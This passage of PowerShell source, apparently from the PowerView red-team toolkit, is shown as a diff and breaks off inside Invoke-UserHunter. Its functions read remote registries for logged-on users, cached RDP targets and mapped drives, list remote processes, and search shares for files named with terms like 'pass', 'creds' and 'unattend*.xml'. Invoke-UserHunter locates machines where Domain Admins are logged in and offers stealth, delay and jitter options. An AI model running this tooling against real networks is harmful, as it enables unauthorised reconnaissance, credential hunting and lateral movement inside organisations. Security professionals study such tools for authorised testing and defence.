PS C:\> Get-NetComputer | Get-LastLoggedOn + + Returns the last user logged onto all machines in the domain. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + $Credential + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # HKEY_LOCAL_MACHINE + $HKLM = 2147483650 + + # try to open up the remote registry key to grab the last logged on user + try { + + if($Credential) { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue + } + else { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue + } + + $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" + $Value = "LastLoggedOnUser" + $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue + + $LastLoggedOn = New-Object PSObject + $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser + $LastLoggedOn + } + catch { + Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled." + } +} + + +filter Get-CachedRDPConnection { +<# + .SYNOPSIS + + Uses remote registry functionality to query all entries for the + "Windows Remote Desktop Connection Client" on a machine, separated by + user and target server. + + Note: This function requires administrative rights on the + machine you're enumerating. + + .PARAMETER ComputerName + + The hostname to query for RDP client information. + Defaults to localhost. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object for the remote connection. + + .EXAMPLE + + PS C:\> Get-CachedRDPConnection + + Returns the RDP connection client information for the local machine. + + .EXAMPLE + + PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local + + Returns the RDP connection client information for the WINDOWS2.testlab.local machine + + .EXAMPLE + + PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred + + Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials. + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-CachedRDPConnection + + Get cached RDP information for all machines in the domain. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + $Credential + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # HKEY_USERS + $HKU = 2147483651 + + try { + if($Credential) { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue + } + else { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue + } + + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + foreach ($UserSID in $UserSIDs) { + + try { + $UserName = Convert-SidToName $UserSID + + # pull out all the cached RDP connections + $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + + foreach ($Connection in $ConnectionKeys) { + # make sure this key is a cached connection + if($Connection -match 'MRU.*') { + $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null + $FoundConnection + } + } + + # pull out all the cached server info with username hints + $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + + foreach ($Server in $ServerKeys) { + + $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint + $FoundConnection + } + + } + catch { + Write-Verbose "Error: $_" + } + } + + } + catch { + Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" + } +} + + +filter Get-RegistryMountedDrive { +<# + .SYNOPSIS + + Uses remote registry functionality to query all entries for the + the saved network mounted drive on a machine, separated by + user and target server. + + Note: This function requires administrative rights on the + machine you're enumerating. + + .PARAMETER ComputerName + + The hostname to query for RDP client information. + Defaults to localhost. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object for the remote connection. + + .EXAMPLE + + PS C:\> Get-RegistryMountedDrive + + Returns the saved network mounted drives for the local machine. + + .EXAMPLE + + PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local + + Returns the saved network mounted drives for the WINDOWS2.testlab.local machine + + .EXAMPLE + + PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred + + Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials. + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-RegistryMountedDrive + + Get the saved network mounted drives for all machines in the domain. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + $Credential + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # HKEY_USERS + $HKU = 2147483651 + + try { + if($Credential) { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue + } + else { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue + } + + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + foreach ($UserSID in $UserSIDs) { + + try { + $UserName = Convert-SidToName $UserSID + + $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames + + ForEach($DriveLetter in $DriveLetters) { + $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue + $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue + $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue + if(-not $UserName) { $UserName = '' } + + if($RemotePath -and ($RemotePath -ne '')) { + $MountedDrive = New-Object PSObject + $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer + $MountedDrive | Add-Member Noteproperty 'UserName' $UserName + $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID + $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter + $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName + $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath + $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName + $MountedDrive + } + } + } + catch { + Write-Verbose "Error: $_" + } + } + } + catch { + Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" + } +} + + +filter Get-NetProcess { +<# + .SYNOPSIS + + Gets a list of processes/owners on a remote machine. + + .PARAMETER ComputerName + + The hostname to query processes. Defaults to the local host name. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object for the remote connection. + + .EXAMPLE + + PS C:\> Get-NetProcess -ComputerName WINDOWS1 + + Returns the current processes for WINDOWS1 +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = [System.Net.Dns]::GetHostName(), + + [Management.Automation.PSCredential] + $Credential + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + try { + if($Credential) { + $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential + } + else { + $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName + } + + $Processes | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $Computer + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process + } + } + catch { + Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_" + } +} + + +function Find-InterestingFile { +<# + .SYNOPSIS + + This function recursively searches a given UNC path for files with + specific keywords in the name (default of pass, sensitive, secret, admin, + login and unattend*.xml). The output can be piped out to a csv with the + -OutFile flag. By default, hidden files/folders are included in search results. + + .PARAMETER Path + + UNC/local path to recursively search. + + .PARAMETER Terms + + Terms to search for. + + .PARAMETER OfficeDocs + + Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + + .PARAMETER FreshEXEs + + Switch. Find .EXEs accessed within the last week. + + .PARAMETER LastAccessTime + + Only return files with a LastAccessTime greater than this date value. + + .PARAMETER LastWriteTime + + Only return files with a LastWriteTime greater than this date value. + + .PARAMETER CreationTime + + Only return files with a CreationTime greater than this date value. + + .PARAMETER ExcludeFolders + + Switch. Exclude folders from the search results. + + .PARAMETER ExcludeHidden + + Switch. Exclude hidden files and folders from the search results. + + .PARAMETER CheckWriteAccess + + Switch. Only returns files the current user has write access to. + + .PARAMETER OutFile + + Output results to a specified csv output file. + + .PARAMETER UsePSDrive + + Switch. Mount target remote path with temporary PSDrives. + + .OUTPUTS + + The full path, owner, lastaccess time, lastwrite time, and size for each found file. + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path C:\Backup\ + + Returns any files on the local path C:\Backup\ that have the default + search term set in the title. + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv + + Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries' + or 'email' in the title, and writes the results out to a csv file + named 'out.csv' + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7) + + Returns any files on the remote path \\WINDOWS7\Users\ that have the default + search term set in the title and were accessed within the last week. + + .LINK + + http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ +#> + + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Path = '.\', + + [Alias('Terms')] + [String[]] + $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'), + + [Switch] + $OfficeDocs, + + [Switch] + $FreshEXEs, + + [String] + $LastAccessTime, + + [String] + $LastWriteTime, + + [String] + $CreationTime, + + [Switch] + $ExcludeFolders, + + [Switch] + $ExcludeHidden, + + [Switch] + $CheckWriteAccess, + + [String] + $OutFile, + + [Switch] + $UsePSDrive + ) + + begin { + + $Path += if(!$Path.EndsWith('\')) {"\"} + + if ($Credential) { + $UsePSDrive = $True + } + + # append wildcards to the front and back of all search terms + $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} } + + # search just for office documents if specified + if ($OfficeDocs) { + $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') + } + + # find .exe's accessed within the last 7 days + if($FreshEXEs) { + # get an access time limit of 7 days ago + $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') + $SearchTerms = '*.exe' + } + + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + + $Parts = $Path.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Verbose "Error mounting path '$Path' : $_" + return $Null + } + + # so we can cd/dir the new drive + $Path = "${RandDrive}:\${FilePath}" + } + } + + process { + + Write-Verbose "[*] Search path $Path" + + function Invoke-CheckWrite { + # short helper to check is the current user can write to a file + [CmdletBinding()]param([String]$Path) + try { + $Filetest = [IO.FILE]::OpenWrite($Path) + $Filetest.Close() + $True + } + catch { + Write-Verbose -Message $Error[0] + $False + } + } + + $SearchArgs = @{ + 'Path' = $Path + 'Recurse' = $True + 'Force' = $(-not $ExcludeHidden) + 'Include' = $SearchTerms + 'ErrorAction' = 'SilentlyContinue' + } + + Get-ChildItem @SearchArgs | ForEach-Object { + Write-Verbose $_ + # check if we're excluding folders + if(!$ExcludeFolders -or !$_.PSIsContainer) {$_} + } | ForEach-Object { + if($LastAccessTime -or $LastWriteTime -or $CreationTime) { + if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_} + elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_} + elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_} + } + else {$_} + } | ForEach-Object { + # filter for write access (if applicable) + if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_} + } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object { + # check if we're outputting to the pipeline or an output file + if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile} + else {$_} + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force + } + } +} + + +######################################################## +# +# 'Meta'-functions start below +# +######################################################## + +function Invoke-ThreadedFunction { + # Helper used by any threaded host enumeration functions + [CmdletBinding()] + param( + [Parameter(Position=0,Mandatory=$True)] + [String[]] + $ComputerName, + + [Parameter(Position=1,Mandatory=$True)] + [System.Management.Automation.ScriptBlock] + $ScriptBlock, + + [Parameter(Position=2)] + [Hashtable] + $ScriptParameters, + + [Int] + [ValidateRange(1,100)] + $Threads = 20, + + [Switch] + $NoImports + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + Write-Verbose "[*] Total number of hosts: $($ComputerName.count)" + + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + + # import the current session state's variables and functions so the chained PowerView + # functionality can be used by the threaded blocks + if(!$NoImports) { + + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 2 + + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + + # Add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach($Var in $MyVars) { + if($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + } + } + + # Add Functions from current runspace to the InitialSessionState + ForEach($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + } + } + + # threading adapted from + # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 + # Thanks Carlos! + + # create a pool of maxThread runspaces + $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.Open() + + $Jobs = @() + $PS = @() + $Wait = @() + + $Counter = 0 + } + + process { + + ForEach ($Computer in $ComputerName) { + + # make sure we get a server name + if ($Computer -ne '') { + # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))" + + While ($($Pool.GetAvailableRunspaces()) -le 0) { + Start-Sleep -MilliSeconds 500 + } + + # create a "powershell pipeline runner" + $PS += [powershell]::create() + + $PS[$Counter].runspacepool = $Pool + + # add the script block + arguments + $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) + if($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) + } + } + + # start job + $Jobs += $PS[$Counter].BeginInvoke(); + + # store wait handles for WaitForAll call + $Wait += $Jobs[$Counter].AsyncWaitHandle + } + $Counter = $Counter + 1 + } + } + + end { + + Write-Verbose "Waiting for scanning threads to finish..." + + $WaitTimeout = Get-Date + + # set a 60 second timeout for the scanning threads + while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -and $($($(Get-Date) - $WaitTimeout).totalSeconds) -lt 60) { + Start-Sleep -MilliSeconds 500 + } + + # end async call + for ($y = 0; $y -lt $Counter; $y++) { + + try { + # complete async job + $PS[$y].EndInvoke($Jobs[$y]) + + } catch { + Write-Warning "error: $_" + } + finally { + $PS[$y].Dispose() + } + } + + $Pool.Dispose() + Write-Verbose "All threads completed!" + } +} + + +function Invoke-UserHunter { +<# + .SYNOPSIS + + Finds which machines users of a specified group are logged into. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for users of a specified group (default "domain admins") + with Get-NetGroupMember or reads in a target user list, queries the domain for all + active machines with Get-NetComputer or reads in a pre-populated host list, + randomly shuffles the target list, then for each server it gets a list of + active users with Get-NetSession/Get-NetLoggedon. The found user list is compared + against the target list, and a status message is displayed for any hits. + The flag -CheckAccess will check each positive host to see if the current + user has local admin access to the machine. + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Only enumerate computers that have unconstrained delegation. + + .PARAMETER GroupName + + Group name to query for target users. + + .PARAMETER TargetServer + + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName + + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER UserADSpath + + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER UserFile + + File of usernames to search for. + + .PARAMETER AdminCount + + Switch. Hunt for users with adminCount=1. + + .PARAMETER AllowDelegation + + Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + + .PARAMETER StopOnSuccess + + Switch. Stop hunting after finding after finding a target user. + + .PARAMETER NoPing + + Don't ping each host to ensure it's up before enumerating. + + .PARAMETER CheckAccess + + Switch. Check if the current user has local admin access to found machines. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain for query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ShowAll + + Switch. Return all user location results, i.e. Invoke-UserView functionality. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Stealth + + Switch. Only enumerate sessions from connonly used target servers. + + .PARAMETER StealthSource + + The source of target servers to use, 'DFS' (distributed file servers), + 'DC' (domain controllers), 'File' (file servers), or 'All' + + .PARAMETER ForeignUsers + + Switch. Only return results that are not part of searched domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -CheckAccess + + Finds machines on the local domain where domain admins are logged into + and checks if the current user has local administrator access. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Domain 'testing' + + Finds machines on the 'testing' domain where domain admins are logged into. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Threads 20 + + Multi-threaded user hunting, replaces Invoke-UserHunterThreaded. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt + + Finds machines in hosts.txt where any members of users.txt are logged in + or have sessions. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60 + + Find machines on the domain where members of the "Power Users" groups are + logged into with a 60 second (+/- *.3) randomized delay between + touching each host. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -TargetServer FILESERVER + + Query FILESERVER for useres who are effective local administrators using + Get-NetLocalGroup -Recurse, and hunt for that user set on the network. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -SearchForest + + Find all machines in the current forest where domain admins are logged in. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Stealth + + Executes old Invoke-StealthUserHunter functionality, enumerating commonly + used servers and checking just sessions for each. + + .LINK + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $Unconstrained, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [Switch] + $AdminCount, + + [Switch] + $AllowDelegation, + + [Switch] + $CheckAccess, + + [Switch] + $StopOnSuccess, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [Switch] + $Stealth, + + [String] + [ValidateSet("DFS","DC","File","All")] + $StealthSource ="All", + + [Switch] + $ForeignUsers, + + [Int] + [ValidateRange(1,100)] + $Threads + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" + + ##################################################### + # + # First we build the host target set + # + ##################################################### + + if($ComputerFile) { + # if we're using a host list, read the targets in and add them to the target list + $ComputerName = Get-Content -Path $ComputerFile + } + + if(!$ComputerName) { + [Array]$ComputerName = @() + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + if($Stealth) { + Write-Verbose "Stealth mode! Enumerating commonly used servers" + Write-Verbose "Stealth source: $StealthSource" + + ForEach ($Domain in $TargetDomains) { + if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for File Servers..." + $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController + } + if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for DFS Servers..." + $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName} + } + if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for Domain Controllers..." + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} + } + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + + $Arguments = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $ADSpath + 'Filter' = $ComputerFilter + 'Unconstrained' = $Unconstrained + } + + $ComputerName += Get-NetComputer @Arguments + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + # users we're going to be searching for + $TargetUsers = @() + + # get the current user so we can ignore it in the results + $CurrentUser = ([Environment]::UserName).toLower() + + # if we're showing all results, skip username enumeration + if($ShowAll -or $ForeignUsers) { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $Null + $User | Add-Member Noteproperty 'MemberName' '*' + $TargetUsers = @($User) + + if($ForeignUsers) { + # if we're searching for user results not in the primary domain + $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4 + $DomainShortName = $krbtgtName.split("\")[0] + } + } + # if we want to hunt for the effective domain users who can access a target server + elseif($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower() + $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower() + $User + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $User = New-Object PSObject + if($TargetDomains) { + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + } + else { + $User | Add-Member Noteproperty 'MemberDomain' $Null + } + $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower() + $TargetUsers = @($User) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | ForEach-Object { + $User = New-Object PSObject + if($TargetDomains) { + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + } + else { + $User | Add-Member Noteproperty 'MemberDomain' $Null + } + $User | Add-Member Noteproperty 'MemberName' $_ + $User + } | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter -or $AdminCount) { + ForEach ($Domain in $TargetDomains) { + + $Arguments = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $UserADSpath + 'Filter' = $UserFilter + 'AdminCount' = $AdminCount + 'AllowDelegation' = $AllowDelegation + } + + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser @Arguments | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $Domain + $User | Add-Member Noteproperty 'MemberName' $_.samaccountname + $User + } | Where-Object {$_} + + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController + } + } + + if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + if(!$DomainShortName) { + # if we're not searching for foreign users, check session information + $Sessions = Get-NetSession -ComputerName $ComputerName + ForEach ($Session in $Sessions) { + $UserName = $Session.sesi10_username + $CName = $Session.sesi10_cname + + if($CName -and $CName.StartsWith("\\")) { + $CName = $CName.TrimStart("\") + } + + # make sure we have a result + if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { + + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + + $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress + $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + + # Try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + catch { + $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null + } + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + } + else { + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + } + 